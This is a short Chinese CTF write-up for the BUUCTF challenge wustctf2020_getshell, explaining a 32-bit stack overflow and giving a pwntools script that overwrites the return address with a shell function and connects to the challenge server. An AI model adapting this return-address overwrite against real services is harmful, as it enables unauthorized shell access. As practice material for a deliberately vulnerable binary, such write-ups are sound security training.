buuctf中的wustctf2020_getshell(栈溢出)

首先checksec检查一下保护机制:

-32位程序

-仅开启了栈不可执行保护

接下来使用反汇编工具IDA进行分析:

发现vulnerable函数和shell函数,分别点进去

vulnerable函数:

buf到栈底的距离为0x18个字节,但是这里read却读入了0x20个字节的数据,存在栈溢出漏洞,顺便算出偏移为0x18 + 0x4

shell函数:

执行shell函数即可拿到shell

顺便拿到shell地址0x804851B

接下来编写exp攻击脚本:

python 复制代码
from pwn import *
context(arch='i386', os='linux', log_level='debug')

#io = process('./pwn')             # 在本地运行程序。
# gdb.attach(io)                    # 启动 GDB
io = connect('node5.buuoj.cn',27617)              # 与在线环境交互。


offset = 0x18 + 0x4
shell_addr = 0x804851B

payload = b'a'*offset + p32(shell_addr)
io.sendline(payload)

io.interactive()

这是运行结果:

最后手动输入cat flag拿到flag

相关推荐
数据知道33 分钟前
网络安全实战:子域名接管实战——从 CNAME 配置错误到完全控制
网络·安全·web安全·网络安全
测试修炼手册2 小时前
[测试技术] 文件上传功能怎么测:格式、大小、并发与安全
安全
Aision_4 小时前
代码安全学习手记(二):SCA 软件成分分析原理与 OWASP Dependency-Check 集成实战
运维·人工智能·学习·安全·web安全·网络安全
虹科网络安全4 小时前
从33.2%降至4.2%:KnowBe4 2026报告揭示持续培训如何重塑企业安全防线
安全
是隼人4 小时前
buuctf-pwn bjdctf_2020_babystack2题解 整数溢出(学习过程持续更新)
c语言·学习·安全·pwn入门·ctf入门
艺杯羹5 小时前
古典密码学攻防演进全景:从凯撒移位、频率分析到一次一密与恩尼格玛机破译
网络·人工智能·安全·网络安全·密码学·密码安全
MartinYeung55 小时前
Aztec Connect 黑客攻击深度剖析:结算边界绕过漏洞
安全·区块链
MartinYeung55 小时前
[论文学习]Latent Fusion Jailbreak: 融合有害与无害表征以诱导大语言模型产生不安全输出
学习·安全·语言模型
飞飞传输6 小时前
机器人行业数据流转深度研究:内外网数据摆渡平台应用现状与趋势
大数据·运维·安全
tech讯息6 小时前
企业 AI Agent 对接外部服务如何安全集成?—— 多租户业务场景优先选用 WebSocket 方案
人工智能·websocket·安全